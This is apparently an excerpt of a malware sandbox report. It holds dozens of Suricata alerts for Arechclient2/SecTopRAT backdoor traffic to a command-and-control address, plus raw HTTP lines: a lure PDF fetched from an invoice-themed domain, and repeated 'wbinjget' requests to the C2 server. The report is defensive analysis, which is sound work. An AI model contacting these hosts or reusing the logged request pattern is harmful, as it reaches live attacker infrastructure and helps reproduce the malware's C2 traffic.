Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50076 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50077 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50078 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50079 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50080 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50081 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50082 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50083 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50084 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50085 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50086 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50087 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50088 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50089 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50090 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50092 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50093 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50094 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50095 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50096 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50097 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50098 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50099 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50100 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50101 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50102 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50103 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50104 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50105 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50106 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50107 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2051910 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity : 192.168.2.5:50109 -> 92.255.57.75:15647
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50108 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50110 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50111 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50112 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2029217 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT CnC Init : 92.255.57.75:15647 -> 192.168.2.5:50109
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50114 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50115 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50116 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50117 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50118 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50119 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50120 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50121 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50123 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50124 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50126 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50127 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50128 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50129 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50130 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50131 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50122 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50091 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50113 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50125 -> 92.255.57.75:9000

Connects to many ports of the same IP (likely port scanning)

Source: global traffic

TCP traffic: 92.255.57.75 ports 9000,1,4,5,6,7,15647

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49900
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49901
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49907
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49913
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49916
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49920
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49948 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 50042 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50051
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50063 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 50064 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 50065 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 50075 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50076 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 50077 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 50086 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 50087 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 50088 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 50089 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 50097 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50097
Source: unknown	Network traffic detected: HTTP traffic on port 50098 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50098
Source: unknown	Network traffic detected: HTTP traffic on port 50099 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50099
Source: unknown	Network traffic detected: HTTP traffic on port 50100 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 50101 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 50103 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 50104 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 50110 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50110
Source: unknown	Network traffic detected: HTTP traffic on port 50111 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 50112 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50112
Source: unknown	Network traffic detected: HTTP traffic on port 50113 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 50114 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50114
Source: unknown	Network traffic detected: HTTP traffic on port 50115 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50115
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50116
Source: unknown	Network traffic detected: HTTP traffic on port 50117 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50117
Source: unknown	Network traffic detected: HTTP traffic on port 50118 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50118
Source: unknown	Network traffic detected: HTTP traffic on port 50119 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50119
Source: unknown	Network traffic detected: HTTP traffic on port 50120 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50120
Source: unknown	Network traffic detected: HTTP traffic on port 50121 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50121
Source: unknown	Network traffic detected: HTTP traffic on port 50122 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50122
Source: unknown	Network traffic detected: HTTP traffic on port 50123 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50123
Source: unknown	Network traffic detected: HTTP traffic on port 50124 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50124
Source: unknown	Network traffic detected: HTTP traffic on port 50125 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50125
Source: unknown	Network traffic detected: HTTP traffic on port 50126 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50126
Source: unknown	Network traffic detected: HTTP traffic on port 50127 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50127
Source: unknown	Network traffic detected: HTTP traffic on port 50128 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50128
Source: unknown	Network traffic detected: HTTP traffic on port 50129 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50129
Source: unknown	Network traffic detected: HTTP traffic on port 50130 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50130
Source: unknown	Network traffic detected: HTTP traffic on port 50131 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50131

Source: global traffic

TCP traffic: 192.168.2.5:49781 -> 92.255.57.75:15647

Source: global traffic	HTTP traffic detected: GET /pdf/cloudviewer/ref095vq842r70/3rd/party/authorisation/form/20241210/docs/w3/ref095vq842r70_3rd_party_authorisation_form.pdf HTTP/1.1Host: csp-invoices-v5.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
